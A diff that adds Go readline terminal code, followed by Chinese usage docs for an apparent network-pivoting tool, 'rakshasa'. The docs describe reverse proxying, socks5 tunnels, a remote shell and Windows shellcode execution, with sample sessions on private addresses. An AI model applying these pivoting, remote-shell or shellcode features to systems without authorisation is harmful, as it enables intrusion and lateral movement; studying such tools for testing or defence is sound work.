kickChan: make(chan struct{}, 1),
|
||||
outchan: make(chan rune),
|
||||
stopChan: make(chan struct{}, 1),
|
||||
sizeChan: make(chan string, 1),
|
||||
}
|
||||
|
||||
go t.ioloop()
|
||||
return t, nil
|
||||
}
|
||||
|
||||
// SleepToResume will sleep myself, and return only if I'm resumed.
|
||||
func (t *Terminal) SleepToResume() {
|
||||
if !atomic.CompareAndSwapInt32(&t.sleeping, 0, 1) {
|
||||
return
|
||||
}
|
||||
defer atomic.StoreInt32(&t.sleeping, 0)
|
||||
|
||||
t.ExitRawMode()
|
||||
ch := WaitForResume()
|
||||
SuspendMe()
|
||||
<-ch
|
||||
t.EnterRawMode()
|
||||
}
|
||||
|
||||
func (t *Terminal) EnterRawMode() (err error) {
|
||||
return t.cfg.FuncMakeRaw()
|
||||
}
|
||||
|
||||
func (t *Terminal) ExitRawMode() (err error) {
|
||||
return t.cfg.FuncExitRaw()
|
||||
}
|
||||
|
||||
func (t *Terminal) Write(b []byte) (int, error) {
|
||||
return t.cfg.Stdout.Write(b)
|
||||
}
|
||||
|
||||
// WriteStdin prefill the next Stdin fetch
|
||||
// Next time you call ReadLine() this value will be writen before the user input
|
||||
func (t *Terminal) WriteStdin(b []byte) (int, error) {
|
||||
return t.cfg.StdinWriter.Write(b)
|
||||
}
|
||||
|
||||
type termSize struct {
|
||||
left int
|
||||
top int
|
||||
}
|
||||
|
||||
func (t *Terminal) GetOffset(f func(offset string)) {
|
||||
go func() {
|
||||
f(<-t.sizeChan)
|
||||
}()
|
||||
t.Write([]byte("\033[6n"))
|
||||
}
|
||||
|
||||
func (t *Terminal) Print(s string) {
|
||||
fmt.Fprintf(t.cfg.Stdout, "%s", s)
|
||||
}
|
||||
|
||||
func (t *Terminal) PrintRune(r rune) {
|
||||
fmt.Fprintf(t.cfg.Stdout, "%c", r)
|
||||
}
|
||||
|
||||
func (t *Terminal) Readline() *Operation {
|
||||
return NewOperation(t, t.cfg)
|
||||
}
|
||||
|
||||
// return rune(0) if meet EOF
|
||||
func (t *Terminal) ReadRune() rune {
|
||||
ch, ok := <-t.outchan
|
||||
if !ok {
|
||||
return rune(0)
|
||||
}
|
||||
return ch
|
||||
}
|
||||
|
||||
func (t *Terminal) IsReading() bool {
|
||||
return atomic.LoadInt32(&t.isReading) == 1
|
||||
}
|
||||
|
||||
func (t *Terminal) KickRead() {
|
||||
select {
|
||||
case t.kickChan <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Terminal) ioloop() {
|
||||
t.wg.Add(1)
|
||||
defer func() {
|
||||
t.wg.Done()
|
||||
close(t.outchan)
|
||||
}()
|
||||
|
||||
var (
|
||||
isEscape bool
|
||||
isEscapeEx bool
|
||||
isEscapeSS3 bool
|
||||
expectNextChar bool
|
||||
)
|
||||
|
||||
buf := bufio.NewReader(t.getStdin())
|
||||
for {
|
||||
if !expectNextChar {
|
||||
atomic.StoreInt32(&t.isReading, 0)
|
||||
select {
|
||||
case <-t.kickChan:
|
||||
atomic.StoreInt32(&t.isReading, 1)
|
||||
case <-t.stopChan:
|
||||
return
|
||||
}
|
||||
}
|
||||
expectNextChar = false
|
||||
r, _, err := buf.ReadRune()
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "interrupted system call") {
|
||||
expectNextChar = true
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
if isEscape {
|
||||
isEscape = false
|
||||
if r == CharEscapeEx {
|
||||
// ^][
|
||||
expectNextChar = true
|
||||
isEscapeEx = true
|
||||
continue
|
||||
} else if r == CharO {
|
||||
// ^]O
|
||||
expectNextChar = true
|
||||
isEscapeSS3 = true
|
||||
continue
|
||||
}
|
||||
r = escapeKey(r, buf)
|
||||
} else if isEscapeEx {
|
||||
isEscapeEx = false
|
||||
if key := readEscKey(r, buf); key != nil {
|
||||
r = escapeExKey(key)
|
||||
// offset
|
||||
if key.typ == 'R' {
|
||||
if _, _, ok := key.Get2(); ok {
|
||||
select {
|
||||
case t.sizeChan <- key.attr:
|
||||
default:
|
||||
}
|
||||
}
|
||||
expectNextChar = true
|
||||
continue
|
||||
}
|
||||
}
|
||||
if r == 0 {
|
||||
expectNextChar = true
|
||||
continue
|
||||
}
|
||||
} else if isEscapeSS3 {
|
||||
isEscapeSS3 = false
|
||||
if key := readEscKey(r, buf); key != nil {
|
||||
r = escapeSS3Key(key)
|
||||
}
|
||||
if r == 0 {
|
||||
expectNextChar = true
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
expectNextChar = true
|
||||
switch r {
|
||||
case CharEsc:
|
||||
if t.cfg.VimMode {
|
||||
t.outchan <- r
|
||||
break
|
||||
}
|
||||
isEscape = true
|
||||
case CharInterrupt, CharEnter, CharCtrlJ, CharDelete:
|
||||
expectNextChar = false
|
||||
fallthrough
|
||||
default:
|
||||
t.outchan <- r
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (t *Terminal) Bell() {
|
||||
fmt.Fprintf(t, "%c", CharBell)
|
||||
}
|
||||
|
||||
func (t *Terminal) Close() error {
|
||||
if atomic.SwapInt32(&t.closed, 1) != 0 {
|
||||
return nil
|
||||
}
|
||||
if closer, ok := t.cfg.Stdin.(io.Closer); ok {
|
||||
closer.Close()
|
||||
}
|
||||
close(t.stopChan)
|
||||
t.wg.Wait()
|
||||
return t.ExitRawMode()
|
||||
}
|
||||
|
||||
func (t *Terminal) GetConfig() *Config {
|
||||
t.m.Lock()
|
||||
cfg := *t.cfg
|
||||
t.m.Unlock()
|
||||
return &cfg
|
||||
}
|
||||
|
||||
func (t *Terminal) getStdin() io.Reader {
|
||||
t.m.Lock()
|
||||
r := t.cfg.Stdin
|
||||
t.m.Unlock()
|
||||
return r
|
||||
}
|
||||
|
||||
func (t *Terminal) SetConfig(c *Config) error {
|
||||
if err := c.Init(); err != nil {
|
||||
return err
|
||||
}
|
||||
t.m.Lock()
|
||||
t.cfg = c
|
||||
t.m.Unlock()
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"container/list"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
var (
|
||||
isWindows = false
|
||||
)
|
||||
|
||||
const (
|
||||
CharLineStart = 1
|
||||
CharBackward = 2
|
||||
CharInterrupt = 3
|
||||
CharDelete = 4
|
||||
CharLineEnd = 5
|
||||
CharForward = 6
|
||||
CharBell = 7
|
||||
CharCtrlH = 8
|
||||
CharTab = 9
|
||||
CharCtrlJ = 10
|
||||
CharKill = 11
|
||||
CharCtrlL = 12
|
||||
CharEnter = 13
|
||||
CharNext = 14
|
||||
CharPrev = 16
|
||||
CharBckSearch = 18
|
||||
CharFwdSearch = 19
|
||||
CharTranspose = 20
|
||||
CharCtrlU = 21
|
||||
CharCtrlW = 23
|
||||
CharCtrlY = 25
|
||||
CharCtrlZ = 26
|
||||
CharEsc = 27
|
||||
CharO = 79
|
||||
CharEscapeEx = 91
|
||||
CharBackspace = 127
|
||||
)
|
||||
|
||||
const (
|
||||
MetaBackward rune = -iota - 1
|
||||
MetaForward
|
||||
MetaDelete
|
||||
MetaBackspace
|
||||
MetaTranspose
|
||||
)
|
||||
|
||||
// WaitForResume need to call before current process got suspend.
|
||||
// It will run a ticker until a long duration is occurs,
|
||||
// which means this process is resumed.
|
||||
func WaitForResume() chan struct{} {
|
||||
ch := make(chan struct{})
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
ticker := time.NewTicker(10 * time.Millisecond)
|
||||
t := time.Now()
|
||||
wg.Done()
|
||||
for {
|
||||
now := <-ticker.C
|
||||
if now.Sub(t) > 100*time.Millisecond {
|
||||
break
|
||||
}
|
||||
t = now
|
||||
}
|
||||
ticker.Stop()
|
||||
ch <- struct{}{}
|
||||
}()
|
||||
wg.Wait()
|
||||
return ch
|
||||
}
|
||||
|
||||
func Restore(fd int, state *State) error {
|
||||
err := restoreTerm(fd, state)
|
||||
if err != nil {
|
||||
// errno 0 means everything is ok :)
|
||||
if err.Error() == "errno 0" {
|
||||
return nil
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func IsPrintable(key rune) bool {
|
||||
isInSurrogateArea := key >= 0xd800 && key <= 0xdbff
|
||||
return key >= 32 && !isInSurrogateArea
|
||||
}
|
||||
|
||||
// translate Esc[X
|
||||
func escapeExKey(key *escapeKeyPair) rune {
|
||||
var r rune
|
||||
switch key.typ {
|
||||
case 'D':
|
||||
r = CharBackward
|
||||
case 'C':
|
||||
r = CharForward
|
||||
case 'A':
|
||||
r = CharPrev
|
||||
case 'B':
|
||||
r = CharNext
|
||||
case 'H':
|
||||
r = CharLineStart
|
||||
case 'F':
|
||||
r = CharLineEnd
|
||||
case '~':
|
||||
if key.attr == "3" {
|
||||
r = CharDelete
|
||||
}
|
||||
default:
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// translate EscOX SS3 codes for up/down/etc.
|
||||
func escapeSS3Key(key *escapeKeyPair) rune {
|
||||
var r rune
|
||||
switch key.typ {
|
||||
case 'D':
|
||||
r = CharBackward
|
||||
case 'C':
|
||||
r = CharForward
|
||||
case 'A':
|
||||
r = CharPrev
|
||||
case 'B':
|
||||
r = CharNext
|
||||
case 'H':
|
||||
r = CharLineStart
|
||||
case 'F':
|
||||
r = CharLineEnd
|
||||
default:
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
type escapeKeyPair struct {
|
||||
attr string
|
||||
typ rune
|
||||
}
|
||||
|
||||
func (e *escapeKeyPair) Get2() (int, int, bool) {
|
||||
sp := strings.Split(e.attr, ";")
|
||||
if len(sp) < 2 {
|
||||
return -1, -1, false
|
||||
}
|
||||
s1, err := strconv.Atoi(sp[0])
|
||||
if err != nil {
|
||||
return -1, -1, false
|
||||
}
|
||||
s2, err := strconv.Atoi(sp[1])
|
||||
if err != nil {
|
||||
return -1, -1, false
|
||||
}
|
||||
return s1, s2, true
|
||||
}
|
||||
|
||||
func readEscKey(r rune, reader *bufio.Reader) *escapeKeyPair {
|
||||
p := escapeKeyPair{}
|
||||
buf := bytes.NewBuffer(nil)
|
||||
for {
|
||||
if r == ';' {
|
||||
} else if unicode.IsNumber(r) {
|
||||
} else {
|
||||
p.typ = r
|
||||
break
|
||||
}
|
||||
buf.WriteRune(r)
|
||||
r, _, _ = reader.ReadRune()
|
||||
}
|
||||
p.attr = buf.String()
|
||||
return &p
|
||||
}
|
||||
|
||||
// translate EscX to Meta+X
|
||||
func escapeKey(r rune, reader *bufio.Reader) rune {
|
||||
switch r {
|
||||
case 'b':
|
||||
r = MetaBackward
|
||||
case 'f':
|
||||
r = MetaForward
|
||||
case 'd':
|
||||
r = MetaDelete
|
||||
case CharTranspose:
|
||||
r = MetaTranspose
|
||||
case CharBackspace:
|
||||
r = MetaBackspace
|
||||
case 'O':
|
||||
d, _, _ := reader.ReadRune()
|
||||
switch d {
|
||||
case 'H':
|
||||
r = CharLineStart
|
||||
case 'F':
|
||||
r = CharLineEnd
|
||||
default:
|
||||
reader.UnreadRune()
|
||||
}
|
||||
case CharEsc:
|
||||
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func SplitByLine(start, screenWidth int, rs []rune) []string {
|
||||
var ret []string
|
||||
buf := bytes.NewBuffer(nil)
|
||||
currentWidth := start
|
||||
for _, r := range rs {
|
||||
w := runes.Width(r)
|
||||
currentWidth += w
|
||||
buf.WriteRune(r)
|
||||
if currentWidth >= screenWidth {
|
||||
ret = append(ret, buf.String())
|
||||
buf.Reset()
|
||||
currentWidth = 0
|
||||
}
|
||||
}
|
||||
ret = append(ret, buf.String())
|
||||
return ret
|
||||
}
|
||||
|
||||
// calculate how many lines for N character
|
||||
func LineCount(screenWidth, w int) int {
|
||||
r := w / screenWidth
|
||||
if w%screenWidth != 0 {
|
||||
r++
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func IsWordBreak(i rune) bool {
|
||||
switch {
|
||||
case i >= 'a' && i <= 'z':
|
||||
case i >= 'A' && i <= 'Z':
|
||||
case i >= '0' && i <= '9':
|
||||
default:
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func GetInt(s []string, def int) int {
|
||||
if len(s) == 0 {
|
||||
return def
|
||||
}
|
||||
c, err := strconv.Atoi(s[0])
|
||||
if err != nil {
|
||||
return def
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
type RawMode struct {
|
||||
state *State
|
||||
}
|
||||
|
||||
func (r *RawMode) Enter() (err error) {
|
||||
r.state, err = MakeRaw(GetStdin())
|
||||
return err
|
||||
}
|
||||
|
||||
func (r *RawMode) Exit() error {
|
||||
if r.state == nil {
|
||||
return nil
|
||||
}
|
||||
return Restore(GetStdin(), r.state)
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
func sleep(n int) {
|
||||
Debug(n)
|
||||
time.Sleep(2000 * time.Millisecond)
|
||||
}
|
||||
|
||||
// print a linked list to Debug()
|
||||
func debugList(l *list.List) {
|
||||
idx := 0
|
||||
for e := l.Front(); e != nil; e = e.Next() {
|
||||
Debug(idx, fmt.Sprintf("%+v", e.Value))
|
||||
idx++
|
||||
}
|
||||
}
|
||||
|
||||
// append log info to another file
|
||||
func Debug(o ...interface{}) {
|
||||
f, _ := os.OpenFile("debug.tmp", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)
|
||||
fmt.Fprintln(f, o...)
|
||||
f.Close()
|
||||
}
|
||||
|
||||
func CaptureExitSignal(f func()) {
|
||||
cSignal := make(chan os.Signal, 1)
|
||||
signal.Notify(cSignal, os.Interrupt, syscall.SIGTERM)
|
||||
go func() {
|
||||
for range cSignal {
|
||||
f()
|
||||
}
|
||||
}()
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package readline
|
||||
@@ -0,0 +1,83 @@
|
||||
// +build aix darwin dragonfly freebsd linux,!appengine netbsd openbsd os400 solaris
|
||||
|
||||
package readline
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
"os/signal"
|
||||
"sync"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
type winsize struct {
|
||||
Row uint16
|
||||
Col uint16
|
||||
Xpixel uint16
|
||||
Ypixel uint16
|
||||
}
|
||||
|
||||
// SuspendMe use to send suspend signal to myself, when we in the raw mode.
|
||||
// For OSX it need to send to parent's pid
|
||||
// For Linux it need to send to myself
|
||||
func SuspendMe() {
|
||||
p, _ := os.FindProcess(os.Getppid())
|
||||
p.Signal(syscall.SIGTSTP)
|
||||
p, _ = os.FindProcess(os.Getpid())
|
||||
p.Signal(syscall.SIGTSTP)
|
||||
}
|
||||
|
||||
// get width of the terminal
|
||||
func getWidth(stdoutFd int) int {
|
||||
cols, _, err := GetSize(stdoutFd)
|
||||
if err != nil {
|
||||
return -1
|
||||
}
|
||||
return cols
|
||||
}
|
||||
|
||||
func GetScreenWidth() int {
|
||||
w := getWidth(syscall.Stdout)
|
||||
if w < 0 {
|
||||
w = getWidth(syscall.Stderr)
|
||||
}
|
||||
return w
|
||||
}
|
||||
|
||||
// ClearScreen clears the console screen
|
||||
func ClearScreen(w io.Writer) (int, error) {
|
||||
return w.Write([]byte("\033[H"))
|
||||
}
|
||||
|
||||
func DefaultIsTerminal() bool {
|
||||
return IsTerminal(syscall.Stdin) && (IsTerminal(syscall.Stdout) || IsTerminal(syscall.Stderr))
|
||||
}
|
||||
|
||||
func GetStdin() int {
|
||||
return syscall.Stdin
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
var (
|
||||
widthChange sync.Once
|
||||
widthChangeCallback func()
|
||||
)
|
||||
|
||||
func DefaultOnWidthChanged(f func()) {
|
||||
widthChangeCallback = f
|
||||
widthChange.Do(func() {
|
||||
ch := make(chan os.Signal, 1)
|
||||
signal.Notify(ch, syscall.SIGWINCH)
|
||||
|
||||
go func() {
|
||||
for {
|
||||
_, ok := <-ch
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
widthChangeCallback()
|
||||
}
|
||||
}()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
// +build windows
|
||||
|
||||
package readline
|
||||
|
||||
import (
|
||||
"io"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func SuspendMe() {
|
||||
}
|
||||
|
||||
func GetStdin() int {
|
||||
return int(syscall.Stdin)
|
||||
}
|
||||
|
||||
func init() {
|
||||
isWindows = true
|
||||
}
|
||||
|
||||
// get width of the terminal
|
||||
func GetScreenWidth() int {
|
||||
info, _ := GetConsoleScreenBufferInfo()
|
||||
if info == nil {
|
||||
return -1
|
||||
}
|
||||
return int(info.dwSize.x)
|
||||
}
|
||||
|
||||
// ClearScreen clears the console screen
|
||||
func ClearScreen(_ io.Writer) error {
|
||||
return SetConsoleCursorPosition(&_COORD{0, 0})
|
||||
}
|
||||
|
||||
func DefaultIsTerminal() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func DefaultOnWidthChanged(func()) {
|
||||
|
||||
}
|
||||
+176
@@ -0,0 +1,176 @@
|
||||
package readline
|
||||
|
||||
const (
|
||||
VIM_NORMAL = iota
|
||||
VIM_INSERT
|
||||
VIM_VISUAL
|
||||
)
|
||||
|
||||
type opVim struct {
|
||||
cfg *Config
|
||||
op *Operation
|
||||
vimMode int
|
||||
}
|
||||
|
||||
func newVimMode(op *Operation) *opVim {
|
||||
ov := &opVim{
|
||||
cfg: op.cfg,
|
||||
op: op,
|
||||
}
|
||||
ov.SetVimMode(ov.cfg.VimMode)
|
||||
return ov
|
||||
}
|
||||
|
||||
func (o *opVim) SetVimMode(on bool) {
|
||||
if o.cfg.VimMode && !on { // turn off
|
||||
o.ExitVimMode()
|
||||
}
|
||||
o.cfg.VimMode = on
|
||||
o.vimMode = VIM_INSERT
|
||||
}
|
||||
|
||||
func (o *opVim) ExitVimMode() {
|
||||
o.vimMode = VIM_INSERT
|
||||
}
|
||||
|
||||
func (o *opVim) IsEnableVimMode() bool {
|
||||
return o.cfg.VimMode
|
||||
}
|
||||
|
||||
func (o *opVim) handleVimNormalMovement(r rune, readNext func() rune) (t rune, handled bool) {
|
||||
rb := o.op.buf
|
||||
handled = true
|
||||
switch r {
|
||||
case 'h':
|
||||
t = CharBackward
|
||||
case 'j':
|
||||
t = CharNext
|
||||
case 'k':
|
||||
t = CharPrev
|
||||
case 'l':
|
||||
t = CharForward
|
||||
case '0', '^':
|
||||
rb.MoveToLineStart()
|
||||
case '$':
|
||||
rb.MoveToLineEnd()
|
||||
case 'x':
|
||||
rb.Delete()
|
||||
if rb.IsCursorInEnd() {
|
||||
rb.MoveBackward()
|
||||
}
|
||||
case 'r':
|
||||
rb.Replace(readNext())
|
||||
case 'd':
|
||||
next := readNext()
|
||||
switch next {
|
||||
case 'd':
|
||||
rb.Erase()
|
||||
case 'w':
|
||||
rb.DeleteWord()
|
||||
case 'h':
|
||||
rb.Backspace()
|
||||
case 'l':
|
||||
rb.Delete()
|
||||
}
|
||||
case 'p':
|
||||
rb.Yank()
|
||||
case 'b', 'B':
|
||||
rb.MoveToPrevWord()
|
||||
case 'w', 'W':
|
||||
rb.MoveToNextWord()
|
||||
case 'e', 'E':
|
||||
rb.MoveToEndWord()
|
||||
case 'f', 'F', 't', 'T':
|
||||
next := readNext()
|
||||
prevChar := r == 't' || r == 'T'
|
||||
reverse := r == 'F' || r == 'T'
|
||||
switch next {
|
||||
case CharEsc:
|
||||
default:
|
||||
rb.MoveTo(next, prevChar, reverse)
|
||||
}
|
||||
default:
|
||||
return r, false
|
||||
}
|
||||
return t, true
|
||||
}
|
||||
|
||||
func (o *opVim) handleVimNormalEnterInsert(r rune, readNext func() rune) (t rune, handled bool) {
|
||||
rb := o.op.buf
|
||||
handled = true
|
||||
switch r {
|
||||
case 'i':
|
||||
case 'I':
|
||||
rb.MoveToLineStart()
|
||||
case 'a':
|
||||
rb.MoveForward()
|
||||
case 'A':
|
||||
rb.MoveToLineEnd()
|
||||
case 's':
|
||||
rb.Delete()
|
||||
case 'S':
|
||||
rb.Erase()
|
||||
case 'c':
|
||||
next := readNext()
|
||||
switch next {
|
||||
case 'c':
|
||||
rb.Erase()
|
||||
case 'w':
|
||||
rb.DeleteWord()
|
||||
case 'h':
|
||||
rb.Backspace()
|
||||
case 'l':
|
||||
rb.Delete()
|
||||
}
|
||||
default:
|
||||
return r, false
|
||||
}
|
||||
|
||||
o.EnterVimInsertMode()
|
||||
return
|
||||
}
|
||||
|
||||
func (o *opVim) HandleVimNormal(r rune, readNext func() rune) (t rune) {
|
||||
switch r {
|
||||
case CharEnter, CharInterrupt:
|
||||
o.ExitVimMode()
|
||||
return r
|
||||
}
|
||||
|
||||
if r, handled := o.handleVimNormalMovement(r, readNext); handled {
|
||||
return r
|
||||
}
|
||||
|
||||
if r, handled := o.handleVimNormalEnterInsert(r, readNext); handled {
|
||||
return r
|
||||
}
|
||||
|
||||
// invalid operation
|
||||
o.op.t.Bell()
|
||||
return 0
|
||||
}
|
||||
|
||||
func (o *opVim) EnterVimInsertMode() {
|
||||
o.vimMode = VIM_INSERT
|
||||
}
|
||||
|
||||
func (o *opVim) ExitVimInsertMode() {
|
||||
o.vimMode = VIM_NORMAL
|
||||
}
|
||||
|
||||
func (o *opVim) HandleVim(r rune, readNext func() rune) rune {
|
||||
if o.vimMode == VIM_NORMAL {
|
||||
return o.HandleVimNormal(r, readNext)
|
||||
}
|
||||
if r == CharEsc {
|
||||
o.ExitVimInsertMode()
|
||||
return 0
|
||||
}
|
||||
|
||||
switch o.vimMode {
|
||||
case VIM_INSERT:
|
||||
return r
|
||||
case VIM_VISUAL:
|
||||
}
|
||||
return r
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
// +build windows
|
||||
|
||||
package readline
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
kernel = NewKernel()
|
||||
stdout = uintptr(syscall.Stdout)
|
||||
stdin = uintptr(syscall.Stdin)
|
||||
)
|
||||
|
||||
type Kernel struct {
|
||||
SetConsoleCursorPosition,
|
||||
SetConsoleTextAttribute,
|
||||
FillConsoleOutputCharacterW,
|
||||
FillConsoleOutputAttribute,
|
||||
ReadConsoleInputW,
|
||||
GetConsoleScreenBufferInfo,
|
||||
GetConsoleCursorInfo,
|
||||
GetStdHandle CallFunc
|
||||
}
|
||||
|
||||
type short int16
|
||||
type word uint16
|
||||
type dword uint32
|
||||
type wchar uint16
|
||||
|
||||
type _COORD struct {
|
||||
x short
|
||||
y short
|
||||
}
|
||||
|
||||
func (c *_COORD) ptr() uintptr {
|
||||
return uintptr(*(*int32)(unsafe.Pointer(c)))
|
||||
}
|
||||
|
||||
const (
|
||||
EVENT_KEY = 0x0001
|
||||
EVENT_MOUSE = 0x0002
|
||||
EVENT_WINDOW_BUFFER_SIZE = 0x0004
|
||||
EVENT_MENU = 0x0008
|
||||
EVENT_FOCUS = 0x0010
|
||||
)
|
||||
|
||||
type _KEY_EVENT_RECORD struct {
|
||||
bKeyDown int32
|
||||
wRepeatCount word
|
||||
wVirtualKeyCode word
|
||||
wVirtualScanCode word
|
||||
unicodeChar wchar
|
||||
dwControlKeyState dword
|
||||
}
|
||||
|
||||
// KEY_EVENT_RECORD KeyEvent;
|
||||
// MOUSE_EVENT_RECORD MouseEvent;
|
||||
// WINDOW_BUFFER_SIZE_RECORD WindowBufferSizeEvent;
|
||||
// MENU_EVENT_RECORD MenuEvent;
|
||||
// FOCUS_EVENT_RECORD FocusEvent;
|
||||
type _INPUT_RECORD struct {
|
||||
EventType word
|
||||
Padding uint16
|
||||
Event [16]byte
|
||||
}
|
||||
|
||||
type _CONSOLE_SCREEN_BUFFER_INFO struct {
|
||||
dwSize _COORD
|
||||
dwCursorPosition _COORD
|
||||
wAttributes word
|
||||
srWindow _SMALL_RECT
|
||||
dwMaximumWindowSize _COORD
|
||||
}
|
||||
|
||||
type _SMALL_RECT struct {
|
||||
left short
|
||||
top short
|
||||
right short
|
||||
bottom short
|
||||
}
|
||||
|
||||
type _CONSOLE_CURSOR_INFO struct {
|
||||
dwSize dword
|
||||
bVisible bool
|
||||
}
|
||||
|
||||
type CallFunc func(u ...uintptr) error
|
||||
|
||||
func NewKernel() *Kernel {
|
||||
k := &Kernel{}
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
v := reflect.ValueOf(k).Elem()
|
||||
t := v.Type()
|
||||
for i := 0; i < t.NumField(); i++ {
|
||||
name := t.Field(i).Name
|
||||
f := kernel32.NewProc(name)
|
||||
v.Field(i).Set(reflect.ValueOf(k.Wrap(f)))
|
||||
}
|
||||
return k
|
||||
}
|
||||
|
||||
func (k *Kernel) Wrap(p *syscall.LazyProc) CallFunc {
|
||||
return func(args ...uintptr) error {
|
||||
var r0 uintptr
|
||||
var e1 syscall.Errno
|
||||
size := uintptr(len(args))
|
||||
if len(args) <= 3 {
|
||||
buf := make([]uintptr, 3)
|
||||
copy(buf, args)
|
||||
r0, _, e1 = syscall.Syscall(p.Addr(), size,
|
||||
buf[0], buf[1], buf[2])
|
||||
} else {
|
||||
buf := make([]uintptr, 6)
|
||||
copy(buf, args)
|
||||
r0, _, e1 = syscall.Syscall6(p.Addr(), size,
|
||||
buf[0], buf[1], buf[2], buf[3], buf[4], buf[5],
|
||||
)
|
||||
}
|
||||
|
||||
if int(r0) == 0 {
|
||||
if e1 != 0 {
|
||||
return error(e1)
|
||||
} else {
|
||||
return syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func GetConsoleScreenBufferInfo() (*_CONSOLE_SCREEN_BUFFER_INFO, error) {
|
||||
t := new(_CONSOLE_SCREEN_BUFFER_INFO)
|
||||
err := kernel.GetConsoleScreenBufferInfo(
|
||||
stdout,
|
||||
uintptr(unsafe.Pointer(t)),
|
||||
)
|
||||
return t, err
|
||||
}
|
||||
|
||||
func GetConsoleCursorInfo() (*_CONSOLE_CURSOR_INFO, error) {
|
||||
t := new(_CONSOLE_CURSOR_INFO)
|
||||
err := kernel.GetConsoleCursorInfo(stdout, uintptr(unsafe.Pointer(t)))
|
||||
return t, err
|
||||
}
|
||||
|
||||
func SetConsoleCursorPosition(c *_COORD) error {
|
||||
return kernel.SetConsoleCursorPosition(stdout, c.ptr())
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
### new-bind
|
||||
|
||||
从指定节点启动端口监听tcp请求,通过本节点连接到指定ip端口,反向代理
|
||||
|
||||
使用方法 new-bind ip:port,remote_ip:remote_port 目标节点
|
||||
如 new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba
|
||||
|
||||
注意:与connect相反,从右往左连接,如上面例子,远程节点监听0.0.0.0:88,并将所有连接通过本节点发送到192.168.1.180:8808
|
||||
|
||||
### list
|
||||
|
||||
打印出当前bind连接情况
|
||||
|
||||
### close
|
||||
|
||||
关掉一个bind
|
||||
|
||||
使用方法,先使用list获得当前执行的bind的id,再执行 close id
|
||||
|
||||
|
||||
|
||||
```shell
|
||||
rakshasa>bind
|
||||
rakshasa\bind>new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba
|
||||
bind 启动成功
|
||||
rakshasa\bind>list
|
||||
当前连接数量: 1
|
||||
ID 1 本地端口 192.168.1.180:8808 远程端口 0.0.0.0:88 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba
|
||||
rakshasa\bind>close 1
|
||||
rakshasa\bind>
|
||||
```
|
||||
@@ -0,0 +1,43 @@
|
||||
## 目录
|
||||
|
||||
|
||||
|
||||
- [connect](./connect.md): 端口代理,本节点监听端口,并通过出口节点连接到指定的ip端口.
|
||||
- [bind](./bind.md): 反向代理,出口节点监听端口,通过本节点连接到ip端口.
|
||||
- [socks5](./socks5.md): socks5代理,本节点启动socks5代理,通过出口节点连接目标.
|
||||
- [remotesocks5](./remotesocks5.md): 反向socks5代理,目标节点启动socks5,并通过本节点连接目标.
|
||||
- [http](./http.md): http代理,本节点启动http代理,通过出口节点连接目标.
|
||||
- [remoteshell](./remoteshell.md): 远程shell.
|
||||
- [shellcode](./shellcode.md): windows执行shellcode,linux未实现.
|
||||
- [config](./config.md): 配置管理.
|
||||
|
||||
|
||||
|
||||
所有子功能目录下都可以执行下面三个方法
|
||||
可以通过输入首字母+tab进行自动补全
|
||||
|
||||
### new
|
||||
连接一个新的服务器,参数必须是ip:port
|
||||
|
||||
### print
|
||||
打印出已连接的节点
|
||||
|
||||
### ping
|
||||
尝试对节点发送ping,并输出收到pong一共需要的时间
|
||||
|
||||
使用方法,ping id/uuid/ip:port
|
||||
|
||||
```shell
|
||||
rakshasa>new 192.168.1.137:8884
|
||||
rakshasa>print
|
||||
ID UUID HostName GOOS IP listenIP
|
||||
-----------------------------------------------------------------------------------------------------------------------------
|
||||
1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883
|
||||
2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
|
||||
rakshasa>ping 2
|
||||
ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s
|
||||
